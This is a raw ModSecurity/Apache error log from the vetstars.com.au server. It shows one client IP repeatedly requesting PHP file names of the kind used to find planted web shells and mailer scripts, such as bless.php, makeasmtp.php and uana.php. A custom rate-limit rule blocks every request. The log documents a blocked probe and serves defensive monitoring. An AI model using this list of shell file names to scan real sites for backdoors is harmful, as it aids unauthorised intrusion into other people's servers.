[Mon Dec 08 05:59:11.361121 2025] [:error] [pid 18636:tid 18711] [client 4.189.128.201:28698] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aTX4r-gdXnohVr6jm71HnAAAAJM"]
[Mon Dec 08 05:59:11.588543 2025] [:error] [pid 18726:tid 18738] [client 4.189.128.201:28693] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aTX4r1wVbxmJGL5LHAc51gAAAMo"]
[Mon Dec 08 05:59:11.820718 2025] [:error] [pid 54671:tid 54678] [client 4.189.128.201:28730] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTX4r1qOuiNLLCfVy7-MWAAAAQQ"]
[Mon Dec 08 05:59:12.048316 2025] [:error] [pid 18726:tid 18731] [client 4.189.128.201:28732] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTX4sFwVbxmJGL5LHAc52QAAAMM"]
[Mon Dec 08 05:59:12.276446 2025] [:error] [pid 18726:tid 18751] [client 4.189.128.201:57275] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTX4sFwVbxmJGL5LHAc52wAAANc"]
[Mon Dec 08 05:59:12.504009 2025] [:error] [pid 54671:tid 54694] [client 4.189.128.201:58618] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aTX4sFqOuiNLLCfVy7-MWgAAARQ"]
[Mon Dec 08 05:59:12.732647 2025] [:error] [pid 18634:tid 18642] [client 4.189.128.201:58580] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTX4sJ-H1wCBKPf4vhN9wQAAAAQ"]
[Mon Dec 08 05:59:12.960435 2025] [:error] [pid 54705:tid 54736] [client 4.189.128.201:58582] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTX4sKdUeDkxwo12SG8mywAAAYI"]
[Mon Dec 08 05:59:13.188896 2025] [:error] [pid 54671:tid 54687] [client 4.189.128.201:28696] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTX4sVqOuiNLLCfVy7-MXAAAAQ0"]
[Mon Dec 08 05:59:13.417823 2025] [:error] [pid 54705:tid 54747] [client 4.189.128.201:54986] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cloud.php"] [unique_id "aTX4sadUeDkxwo12SG8mzQAAAY0"]
[Mon Dec 08 05:59:13.646239 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:57218] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX4sVqOuiNLLCfVy7-MXgAAARY"]
[Mon Dec 08 05:59:13.874009 2025] [:error] [pid 18634:tid 18655] [client 4.189.128.201:51300] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX4sZ-H1wCBKPf4vhN9wgAAABE"]
[Mon Dec 08 05:59:14.101226 2025] [:error] [pid 54671:tid 54683] [client 4.189.128.201:57240] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX4slqOuiNLLCfVy7-MXwAAAQk"]
[Mon Dec 08 05:59:14.329146 2025] [:error] [pid 54671:tid 54685] [client 4.189.128.201:51291] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX4slqOuiNLLCfVy7-MYAAAAQs"]
[Mon Dec 08 05:59:14.556089 2025] [:error] [pid 18634:tid 18644] [client 4.189.128.201:9469] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTX4sp-H1wCBKPf4vhN9xQAAAAY"]
[Mon Dec 08 05:59:14.783872 2025] [:error] [pid 54671:tid 54684] [client 4.189.128.201:57273] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTX4slqOuiNLLCfVy7-MYgAAAQo"]
[Mon Dec 08 05:59:15.011217 2025] [:error] [pid 18635:tid 18669] [client 4.189.128.201:51272] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTX4s24kCC_HamQRuE10bgAAAEQ"]
[Mon Dec 08 05:59:15.238581 2025] [:error] [pid 18636:tid 18707] [client 4.189.128.201:58599] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aTX4s-gdXnohVr6jm71HoQAAAI8"]
[Mon Dec 08 05:59:15.466568 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:54989] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTX4s-gdXnohVr6jm71HogAAAII"]
[Mon Dec 08 05:59:15.697672 2025] [:error] [pid 18726:tid 18729] [client 4.189.128.201:57231] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTX4s1wVbxmJGL5LHAc54QAAAME"]
[Mon Dec 08 05:59:15.925947 2025] [:error] [pid 54671:tid 54687] [client 4.189.128.201:9446] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTX4s1qOuiNLLCfVy7-MbAAAAQ0"]
[Mon Dec 08 05:59:16.153724 2025] [:error] [pid 54705:tid 54758] [client 4.189.128.201:58589] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aTX4tKdUeDkxwo12SG8m0AAAAZg"]
[Mon Dec 08 05:59:16.389624 2025] [:error] [pid 54704:tid 54731] [client 4.189.128.201:28874] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aTX4tHL1WYsMMmlqjh4UkQAAAVg"]
[Mon Dec 08 05:59:16.617564 2025] [:error] [pid 54704:tid 54716] [client 4.189.128.201:28678] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aTX4tHL1WYsMMmlqjh4UkgAAAUk"]
[Mon Dec 08 05:59:16.845854 2025] [:error] [pid 54705:tid 54749] [client 4.189.128.201:19049] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aTX4tKdUeDkxwo12SG8m0gAAAY8"]
[Mon Dec 08 05:59:17.075043 2025] [:error] [pid 54704:tid 54711] [client 4.189.128.201:58455] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aTX4tXL1WYsMMmlqjh4UkwAAAUQ"]
[Mon Dec 08 05:59:17.302233 2025] [:error] [pid 54671:tid 54676] [client 4.189.128.201:58568] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX4tVqOuiNLLCfVy7-McAAAAQI"]
[Mon Dec 08 05:59:17.534632 2025] [:error] [pid 54704:tid 54719] [client 4.189.128.201:9455] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX4tXL1WYsMMmlqjh4UlAAAAUw"]
[Mon Dec 08 05:59:17.762142 2025] [:error] [pid 54704:tid 54717] [client 4.189.128.201:57268] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX4tXL1WYsMMmlqjh4UlQAAAUo"]
[Mon Dec 08 05:59:17.990402 2025] [:error] [pid 54704:tid 54709] [client 4.189.128.201:51294] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX4tXL1WYsMMmlqjh4UlwAAAUI"]
[Mon Dec 08 05:59:18.220526 2025] [:error] [pid 54704:tid 54718] [client 4.189.128.201:58481] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTX4tnL1WYsMMmlqjh4UmQAAAUs"]
[Mon Dec 08 05:59:18.447947 2025] [:error] [pid 54704:tid 54721] [client 4.189.128.201:19037] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTX4tnL1WYsMMmlqjh4UmgAAAU4"]
[Mon Dec 08 05:59:18.675459 2025] [:error] [pid 18634:tid 18649] [client 4.189.128.201:51320] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTX4tp-H1wCBKPf4vhN9xgAAAAs"]
[Mon Dec 08 05:59:18.905819 2025] [:error] [pid 54705:tid 54739] [client 4.189.128.201:28726] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTX4tqdUeDkxwo12SG8m0wAAAYU"]
[Mon Dec 08 05:59:19.135102 2025] [:error] [pid 54704:tid 54730] [client 4.189.128.201:28875] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aTX4t3L1WYsMMmlqjh4UngAAAVc"]
[Mon Dec 08 05:59:19.363401 2025] [:error] [pid 54704:tid 54720] [client 4.189.128.201:28889] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aTX4t3L1WYsMMmlqjh4UoQAAAU0"]
[Mon Dec 08 05:59:19.599230 2025] [:error] [pid 18726:tid 18741] [client 4.189.128.201:9437] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aTX4t1wVbxmJGL5LHAc54wAAAM0"]
[Mon Dec 08 05:59:19.827315 2025] [:error] [pid 54704:tid 54731] [client 4.189.128.201:57266] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aTX4t3L1WYsMMmlqjh4UowAAAVg"]
[Mon Dec 08 05:59:20.054856 2025] [:error] [pid 18636:tid 18713] [client 4.189.128.201:28701] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTX4uOgdXnohVr6jm71HrAAAAJU"]
[Mon Dec 08 05:59:20.282354 2025] [:error] [pid 18634:tid 18646] [client 4.189.128.201:58608] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTX4uJ-H1wCBKPf4vhN9xwAAAAg"]
[Mon Dec 08 05:59:20.510379 2025] [:error] [pid 18634:tid 18657] [client 4.189.128.201:28904] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTX4uJ-H1wCBKPf4vhN9yAAAABM"]
[Mon Dec 08 05:59:20.738314 2025] [:error] [pid 54671:tid 54680] [client 4.189.128.201:58435] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTX4uFqOuiNLLCfVy7-MdQAAAQY"]
[Mon Dec 08 05:59:20.966630 2025] [:error] [pid 54704:tid 54709] [client 4.189.128.201:28735] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTX4uHL1WYsMMmlqjh4UpgAAAUI"]
[Mon Dec 08 05:59:21.193823 2025] [:error] [pid 54704:tid 54724] [client 4.189.128.201:58562] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTX4uXL1WYsMMmlqjh4UpwAAAVE"]
[Mon Dec 08 05:59:21.421345 2025] [:error] [pid 18726:tid 18745] [client 4.189.128.201:55009] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTX4uVwVbxmJGL5LHAc56AAAANE"]
[Mon Dec 08 05:59:21.648385 2025] [:error] [pid 18634:tid 18652] [client 4.189.128.201:58609] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTX4uZ-H1wCBKPf4vhN9yQAAAA4"]
[Mon Dec 08 05:59:21.875889 2025] [:error] [pid 18634:tid 18658] [client 4.189.128.201:9460] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTX4uZ-H1wCBKPf4vhN9ywAAABQ"]
[Mon Dec 08 05:59:22.104179 2025] [:error] [pid 18635:tid 18688] [client 4.189.128.201:51317] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTX4um4kCC_HamQRuE10cgAAAFc"]
[Mon Dec 08 05:59:22.332375 2025] [:error] [pid 18634:tid 18656] [client 4.189.128.201:58574] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTX4up-H1wCBKPf4vhN9zQAAABI"]
[Mon Dec 08 05:59:22.560181 2025] [:error] [pid 18726:tid 18743] [client 4.189.128.201:57279] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aTX4ulwVbxmJGL5LHAc56QAAAM8"]
[Mon Dec 08 05:59:22.786999 2025] [:error] [pid 18726:tid 18733] [client 4.189.128.201:57250] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aTX4ulwVbxmJGL5LHAc56gAAAMU"]
[Mon Dec 08 05:59:23.024111 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:58613] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aTX4u-gdXnohVr6jm71HrwAAAII"]
[Mon Dec 08 05:59:23.252386 2025] [:error] [pid 18726:tid 18729] [client 4.189.128.201:51293] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aTX4u1wVbxmJGL5LHAc57AAAAME"]
[Mon Dec 08 05:59:23.480231 2025] [:error] [pid 54704:tid 54728] [client 4.189.128.201:57265] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aTX4u3L1WYsMMmlqjh4UrAAAAVU"]
[Mon Dec 08 05:59:23.715102 2025] [:error] [pid 54704:tid 54729] [client 4.189.128.201:54979] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aTX4u3L1WYsMMmlqjh4UrgAAAVY"]
[Mon Dec 08 05:59:23.952508 2025] [:error] [pid 18726:tid 18730] [client 4.189.128.201:9412] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aTX4u1wVbxmJGL5LHAc57gAAAMI"]
